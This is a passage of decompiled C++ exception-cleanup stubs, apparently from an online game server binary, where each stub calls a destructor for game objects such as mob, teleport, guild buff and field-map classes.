AxialListMobCounter::_AxialListMobCounter((AxialListMobCounter *)(a1 - 36)); } //----- (00588480) -------------------------------------------------------- void __usercall _L177620(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 1052)); } //----- (0058848B) -------------------------------------------------------- void __usercall _L177621(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 536)); } //----- (00588496) -------------------------------------------------------- void __usercall _L177622(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 792)); } //----- (005884A1) -------------------------------------------------------- void __usercall _L177623(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 1048)); } //----- (005884AC) -------------------------------------------------------- void __usercall _L177624(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 1048)); } //----- (005884B7) -------------------------------------------------------- void __usercall _L177625(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 1048)); } //----- (005884C2) -------------------------------------------------------- void __usercall _L177626(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 280)); } //----- (005884E0) -------------------------------------------------------- void __usercall _L177890(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 532)); } //----- (005884EB) -------------------------------------------------------- void __usercall _L177891(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 528)); } //----- (005884F6) -------------------------------------------------------- void __usercall _L177892(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 272)); } //----- (00588501) -------------------------------------------------------- void __usercall _L177893(int a1) { AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)(a1 - 544)); } //----- (00588520) -------------------------------------------------------- void __usercall _L177980(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 552)); } //----- (0058852B) -------------------------------------------------------- void __usercall _L177981(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 528)); } //----- (00588536) -------------------------------------------------------- void __usercall _L177982(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 272)); } //----- (00588550) -------------------------------------------------------- void __usercall _L178114(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 276)); } //----- (0058855B) -------------------------------------------------------- void __usercall _L178115(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 272)); } //----- (00588566) -------------------------------------------------------- void __usercall _L178116(int a1) { AxialListKQEnd::_AxialListKQEnd((AxialListKQEnd *)(a1 - 288)); } //----- (00588571) -------------------------------------------------------- void __usercall _L178117(int a1) { AxialListKQEnd::_AxialListKQEnd((AxialListKQEnd *)(a1 - 288)); } //----- (00588590) -------------------------------------------------------- void __usercall _L178206(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 276)); } //----- (0058859B) -------------------------------------------------------- void __usercall _L178207(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 272)); } //----- (005885A6) -------------------------------------------------------- void __usercall _L178208(int a1) { AxialListKQReward::_AxialListKQReward((AxialListKQReward *)(a1 - 288)); } //----- (005885C0) -------------------------------------------------------- void __usercall _L178284(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 532)); } //----- (005885CB) -------------------------------------------------------- void __usercall _L178285(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 272)); } //----- (005885D6) -------------------------------------------------------- void __usercall _L178286(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 528)); } //----- (005885E1) -------------------------------------------------------- void __usercall _L178287(int a1) { AxialListWall::_AxialListWall((AxialListMobKillLog *)(a1 - 540)); } //----- (00588600) -------------------------------------------------------- void __usercall _L178400(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 1404)); } //----- (0058860B) -------------------------------------------------------- void __usercall _L178401(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 1296)); } //----- (00588616) -------------------------------------------------------- void __usercall _L178402(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 1040)); } //----- (00588621) -------------------------------------------------------- void __usercall _L178403(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 784)); } //----- (0058862C) -------------------------------------------------------- void __usercall _L178404(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 528)); } //----- (00588637) -------------------------------------------------------- void __usercall _L178405(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 272)); } //----- (00588642) -------------------------------------------------------- void __usercall _L178406(int a1) { AxialListLinkTo::_AxialListLinkTo((AxialListLinkTo *)(a1 - 1412)); } //----- (0058864D) -------------------------------------------------------- void __usercall _L178407(int a1) { AxialListLinkToByObserver::_AxialListLinkToByObserver((AxialListLinkToByObserver *)(a1 - 1412)); } //----- (00588670) -------------------------------------------------------- void __usercall _L178545(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 504)); } //----- (0058867B) -------------------------------------------------------- void __usercall _L178546(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 272)); } //----- (00588690) -------------------------------------------------------- void __usercall _L178804(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 276)); } //----- (0058869B) -------------------------------------------------------- void __usercall _L178805(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 272)); } //----- (005886A6) -------------------------------------------------------- void __usercall _L178806(int a1) { AxialListItemErase4All::_AxialListItemErase4All((AxialListItemErase4All *)(a1 - 284)); } //----- (005886C0) -------------------------------------------------------- void __usercall _L179004(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 296)); } //----- (005886CB) -------------------------------------------------------- void __usercall _L179005(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 272)); } //----- (005886D6) -------------------------------------------------------- void __usercall _L179006(int a1) { ItemBoxIterator::_ItemBoxIterator((ItemBoxIterItemRegNo *)(a1 - 292)); } //----- (005886F0) -------------------------------------------------------- void __usercall _L179142(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 796)); } //----- (005886FB) -------------------------------------------------------- void __usercall _L179143(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 792)); } //----- (00588706) -------------------------------------------------------- void __usercall _L179144(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 280)); } //----- (00588711) -------------------------------------------------------- void __usercall _L179145(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 536)); } //----- (0058871C) -------------------------------------------------------- void __usercall _L179146(int a1) { AxialListMobFind::_AxialListMobFind((AxialListMobFind *)(a1 - 816)); } //----- (00588740) -------------------------------------------------------- void __usercall _L179272(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 580)); } //----- (0058874B) -------------------------------------------------------- void __usercall _L179273(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 528)); } //----- (00588756) -------------------------------------------------------- void __usercall _L179274(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 272)); } //----- (00588761) -------------------------------------------------------- void __usercall _L179275(int a1) { AxialListPlayerStateSet::_AxialListPlayerStateSet((AxialListPlayerStateSet *)(a1 - 576)); } //----- (0058876C) -------------------------------------------------------- void __usercall _L179276(int a1) { AxialListMobStateSet::_AxialListMobStateSet((AxialListMobStateSet *)(a1 - 576)); } //----- (00588777) -------------------------------------------------------- void __usercall _L179277(int a1) { AxialListMobStateSet::_AxialListMobStateSet((AxialListMobStateSet *)(a1 - 552)); } //----- (00588790) -------------------------------------------------------- void __usercall _L179429(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 276)); } //----- (0058879B) -------------------------------------------------------- void __usercall _L179430(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 272)); } //----- (005887A6) -------------------------------------------------------- void __usercall _L179431(int a1) { AxialListMobStateSet::_AxialListMobStateSet((AxialListMobStateSet *)(a1 - 300)); } //----- (005887B1) -------------------------------------------------------- void __usercall _L179432(int a1) { AxialListMobStateSet::_AxialListMobStateSet((AxialListMobStateSet *)(a1 - 300)); } //----- (005887D0) -------------------------------------------------------- void __usercall _L179521(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 28)); } //----- (005887D8) -------------------------------------------------------- void __usercall _L179522(int a1) { AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)(a1 - 24)); } //----- (005887F0) -------------------------------------------------------- void __usercall _L179611(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 796)); } //----- (005887FB) -------------------------------------------------------- void __usercall _L179612(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 792)); } //----- (00588806) -------------------------------------------------------- void __usercall _L179613(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 280)); } //----- (00588811) -------------------------------------------------------- void __usercall _L179614(int a1) { AxialListMobSuicide::_AxialListMobSuicide((AxialListMobSuicide *)(a1 - 804)); } //----- (0058881C) -------------------------------------------------------- void __usercall _L179615(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 536)); } //----- (00588827) -------------------------------------------------------- void __usercall _L179616(int a1) { AxialListMobSuicide::_AxialListMobSuicide((AxialListMobSuicide *)(a1 - 804)); } //----- (00588832) -------------------------------------------------------- void __usercall _L179617(int a1) { AxialListMobSuicide::_AxialListMobSuicide((AxialListMobSuicide *)(a1 - 804)); } //----- (00588850) -------------------------------------------------------- void __usercall _L179902(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 292)); } //----- (0058885B) -------------------------------------------------------- void __usercall _L179903(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 272)); } //----- (00588866) -------------------------------------------------------- void __usercall _L179904(int a1) { AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)(a1 - 288)); } //----- (00588880) -------------------------------------------------------- void __usercall _L180101(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 332)); } //----- (0058888B) -------------------------------------------------------- void __usercall _L180102(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 304)); } //----- (005888A0) -------------------------------------------------------- void __usercall _L180283(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 344)); } //----- (005888AB) -------------------------------------------------------- void __usercall _L180284(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 272)); } //----- (005888C0) -------------------------------------------------------- void __usercall _L183010(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 276)); } //----- (005888CB) -------------------------------------------------------- void __usercall _L183011(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 272)); } //----- (005888D6) -------------------------------------------------------- void __usercall _L183012(int a1) { AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)(a1 - 288)); } //----- (005888F0) -------------------------------------------------------- void __usercall _L180949(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 288)); } //----- (005888FB) -------------------------------------------------------- void __usercall _L180950(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 272)); } //----- (00588906) -------------------------------------------------------- void __usercall _L180951(int a1) { AxialListWall::_AxialListWall((AxialListMobKillLog *)(a1 - 300)); } //----- (00588911) -------------------------------------------------------- void __usercall _L180952(int a1) { AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)(a1 - 300)); } //----- (0058891C) -------------------------------------------------------- void __usercall _L180953(int a1) { AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)(a1 - 284)); } //----- (00588940) -------------------------------------------------------- void __usercall _L181097(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 276)); } //----- (0058894B) -------------------------------------------------------- void __usercall _L181098(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 272)); } //----- (00588956) -------------------------------------------------------- void __usercall _L181099(int a1) { AxialListWall::_AxialListWall((AxialListMobKillLog *)(a1 - 288)); } //----- (00588961) -------------------------------------------------------- void __usercall _L181100(int a1) { AxialListWall::_AxialListWall((AxialListMobKillLog *)(a1 - 288)); } //----- (00588980) -------------------------------------------------------- void __usercall _L181532(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 328)); } //----- (0058898B) -------------------------------------------------------- void __usercall _L181533(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 272)); } //----- (00588996) -------------------------------------------------------- void __usercall _L181534(int a1) { AxialListTeleportAnywhere::_AxialListTeleportAnywhere((AxialListTeleportAnywhere *)(a1 - 340)); } //----- (005889A1) -------------------------------------------------------- void __usercall _L181535(int a1) { AxialListCount2::_AxialListCount2((AxialListCount2 *)(a1 - 324)); } //----- (005889AC) -------------------------------------------------------- void __usercall _L181536(int a1) { AxialListTeleportSplit::_AxialListTeleportSplit((AxialListTeleportSplit *)(a1 - 292)); } //----- (005889B7) -------------------------------------------------------- void __usercall _L181537(int a1) { AxialListTeleport::_AxialListTeleport((AxialListTeleport *)(a1 - 340)); } //----- (005889D0) -------------------------------------------------------- void __usercall _L181818(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 552)); } //----- (005889DB) -------------------------------------------------------- void __usercall _L181819(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 528)); } //----- (005889E6) -------------------------------------------------------- void __usercall _L181820(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 272)); } //----- (005889F1) -------------------------------------------------------- void __usercall _L181821(int a1) { AxialListFindItemOwner::_AxialListFindItemOwner((AxialListFindItemOwner *)(a1 - 548)); } //----- (00588A10) -------------------------------------------------------- void __usercall _L181948(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 2324)); } //----- (00588A1B) -------------------------------------------------------- void __usercall _L181949(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 2320)); } //----- (00588A26) -------------------------------------------------------- void __usercall _L181950(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 2064)); } //----- (00588A31) -------------------------------------------------------- void __usercall _L181951(int a1) { _eh_vector_destructor_iterator_( (void *)(a1 - 1808), 0x100u, 7, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); } //----- (00588A4A) -------------------------------------------------------- void __usercall _L181952(int a1) { AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)(a1 - 2336)); } //----- (00588A60) -------------------------------------------------------- void __usercall _L182066(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 2096)); } //----- (00588A6B) -------------------------------------------------------- void __usercall _L182067(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 2064)); } //----- (00588A76) -------------------------------------------------------- void __usercall _L182068(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 1808)); } //----- (00588A81) -------------------------------------------------------- void __usercall _L182069(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 1552)); } //----- (00588A8C) -------------------------------------------------------- void __usercall _L182070(int a1) { _eh_vector_destructor_iterator_( (void *)(a1 - 1296), 0x100u, 5, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); } //----- (00588AA5) -------------------------------------------------------- void __usercall _L182071(int a1) { AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)(a1 - 2076)); } //----- (00588AC0) -------------------------------------------------------- void __usercall _L182185(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 796)); } //----- (00588ACB) -------------------------------------------------------- void __usercall _L182186(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 536)); } //----- (00588AD6) -------------------------------------------------------- void __usercall _L182187(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 792)); } //----- (00588AE1) -------------------------------------------------------- void __usercall _L182188(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 280)); } //----- (00588B00) -------------------------------------------------------- void __usercall _L182391(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 280)); } //----- (00588B0B) -------------------------------------------------------- void __usercall _L182392(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 272)); } //----- (00588B20) -------------------------------------------------------- void __usercall _L182468(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 276)); } //----- (00588B2B) -------------------------------------------------------- void __usercall _L182469(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 272)); } //----- (00588B36) -------------------------------------------------------- void __usercall _L182470(int a1) { AxialListGTEnd::_AxialListGTEnd((AxialListGTEnd *)(a1 - 296)); } //----- (00588B41) -------------------------------------------------------- void __usercall _L182471(int a1) { AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)(a1 - 296)); } //----- (00588B4C) -------------------------------------------------------- void __usercall _L182472(int a1) { AxialListGTEnd::_AxialListGTEnd((AxialListGTEnd *)(a1 - 312)); } //----- (00588B70) -------------------------------------------------------- void __usercall _L182730(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 552)); } //----- (00588B7B) -------------------------------------------------------- void __usercall _L182731(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 536)); } //----- (00588B86) -------------------------------------------------------- void __usercall _L182732(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 280)); } //----- (00588BA0) -------------------------------------------------------- void __usercall _L183200(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (00588BA8) -------------------------------------------------------- void __usercall _L183201(int a1) { AxialListRevival::_AxialListRevival((AxialListRevival *)(a1 - 20)); } //----- (00588BC0) -------------------------------------------------------- void __usercall _L183351(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 124)); } //----- (00588BE0) -------------------------------------------------------- void __usercall _L183460(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 276)); } //----- (00588BEB) -------------------------------------------------------- void __usercall _L183461(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 272)); } //----- (00588C00) -------------------------------------------------------- void __usercall _L183545(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 816)); } //----- (00588C0B) -------------------------------------------------------- void __usercall _L183546(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 536)); } //----- (00588C16) -------------------------------------------------------- void __usercall _L183547(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 280)); } //----- (00588C21) -------------------------------------------------------- void __usercall _L183548(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 792)); } //----- (00588C2C) -------------------------------------------------------- void __usercall _L183549(int a1) { AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)(a1 - 804)); } //----- (00588C50) -------------------------------------------------------- void __usercall _L183667(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 796)); } //----- (00588C5B) -------------------------------------------------------- void __usercall _L183668(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 280)); } //----- (00588C66) -------------------------------------------------------- void __usercall _L183669(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 536)); } //----- (00588C80) -------------------------------------------------------- void __usercall _L183764(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 532)); } //----- (00588C8B) -------------------------------------------------------- void __usercall _L183765(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 528)); } //----- (00588C96) -------------------------------------------------------- void __usercall _L183766(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 272)); } //----- (00588CB0) -------------------------------------------------------- void __usercall _L184666(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 916)); } //----- (00588CBB) -------------------------------------------------------- void __usercall _L184667(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 272)); } //----- (00588CC6) -------------------------------------------------------- void __usercall _L184668(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 528)); } //----- (00588CD1) -------------------------------------------------------- void __usercall _L184669(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 784)); } //----- (00588CDC) -------------------------------------------------------- void __usercall _L184670(int a1) { AxialListObjectCollector::_AxialListObjectCollector((AxialListObjectCollector *)(a1 - 904)); } //----- (00588D00) -------------------------------------------------------- void __usercall _L185095(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 20)); } //----- (00588D20) -------------------------------------------------------- void __usercall _L185214(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 24)); } //----- (00588D28) -------------------------------------------------------- void __usercall _L185229(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 20)); } //----- (00588D40) -------------------------------------------------------- void __usercall _L185304(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 1124)); } //----- (00588D4B) -------------------------------------------------------- void __usercall _L185305(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 824)); } //----- (00588D56) -------------------------------------------------------- void __usercall _L185306(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 1080)); } //----- (00588D61) -------------------------------------------------------- void __usercall _L185307(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 568)); } //----- (00588D6C) -------------------------------------------------------- void __usercall _L185308(int a1) { FieldMap::_FieldMap(a1 - 312); } //----- (00588D90) -------------------------------------------------------- void __usercall _L185509(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 688)); } //----- (00588D9B) -------------------------------------------------------- void __usercall _L185510(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 536)); } //----- (00588DA6) -------------------------------------------------------- void __usercall _L185511(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 280)); } //----- (00588DC0) -------------------------------------------------------- void __usercall _L185758(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 600)); } //----- (00588DCB) -------------------------------------------------------- void __usercall _L185759(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 568)); } //----- (00588DD6) -------------------------------------------------------- void __usercall _L185760(int a1) { FieldMap::_FieldMap(a1 - 312); } //----- (00588DF0) -------------------------------------------------------- void __usercall _L185886(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 664)); } //----- (00588DFB) -------------------------------------------------------- void __usercall _L185887(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 568)); } //----- (00588E06) -------------------------------------------------------- void __usercall _L185888(int a1) { FieldMap::_FieldMap(a1 - 312); } //----- (00588E11) -------------------------------------------------------- void __usercall _L185889(int a1) { AxialListBanArea::_AxialListBanArea((AxialListBanArea *)(a1 - 600)); } //----- (00588E30) -------------------------------------------------------- void __usercall _L186088(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 584)); } //----- (00588E3B) -------------------------------------------------------- void __usercall _L186089(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 568)); } //----- (00588E46) -------------------------------------------------------- void __usercall _L186090(int a1) { FieldMap::_FieldMap(a1 - 312); } //----- (00588E60) -------------------------------------------------------- void __usercall _L186216(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 284)); } //----- (00588E6B) -------------------------------------------------------- void __usercall _L186217(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 272)); } //----- (00588E80) -------------------------------------------------------- void __usercall _L186339(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 624)); } //----- (00588E8B) -------------------------------------------------------- void __usercall _L186340(int a1) { PineEventScriptNode::ScriptParameterPaser::_ScriptParameterPaser((PineEventScriptNode::ScriptParameterPaser *)(a1 - 608)); } //----- (00588E96) -------------------------------------------------------- void __usercall _L186341(int a1) { FieldMap::_FieldMap(a1 - 312); } //----- (00588EB0) -------------------------------------------------------- void __usercall _L186804(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 668)); } //----- (00588EBB) -------------------------------------------------------- void __usercall _L186805(int a1) { PineEventScriptNode::ScriptParameterPaser::_ScriptParameterPaser((PineEventScriptNode::ScriptParameterPaser *)(a1 - 608)); } //----- (00588EC6) -------------------------------------------------------- void __usercall _L186806(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::basic_string,std::allocator > *)(a1 - 664)); } //----- (00588ED1) -------------------------------------------------------- void __usercall _L186807(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::basic_string,std::allocator > *)(a1 - 636)); } //----- (00588EDC) -------------------------------------------------------- void __usercall _L186808(int a1) { FieldMap::_FieldMap(a1 - 312); } //----- (00588F00) -------------------------------------------------------- void __usercall _L187368(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 476)); } //----- (00588F0B) -------------------------------------------------------- void __usercall _L187369(int a1) { PineEventScriptNode::ScriptParameterPaser::_ScriptParameterPaser((PineEventScriptNode::ScriptParameterPaser *)(a1 - 312)); } //----- (00588F16) -------------------------------------------------------- void __usercall _L187370(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::basic_string,std::allocator > *)(a1 - 444)); } //----- (00588F21) -------------------------------------------------------- void __usercall _L187371(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::basic_string,std::allocator > *)(a1 - 472)); } //----- (00588F40) -------------------------------------------------------- void __usercall _L189157(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 628)); } //----- (00588F4B) -------------------------------------------------------- void __usercall _L189158(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 568)); } //----- (00588F56) -------------------------------------------------------- void __usercall _L189159(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::basic_string,std::allocator > *)(a1 - 624)); } //----- (00588F61) -------------------------------------------------------- void __usercall _L189160(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::basic_string,std::allocator > *)(a1 - 596)); } //----- (00588F6C) -------------------------------------------------------- void __usercall _L189161(int a1) { FieldMap::_FieldMap(a1 - 312); } //----- (00588F90) -------------------------------------------------------- void __usercall _L189308(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 608)); } //----- (00588F9B) -------------------------------------------------------- void __usercall _L189309(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 568)); } //----- (00588FA6) -------------------------------------------------------- void __usercall 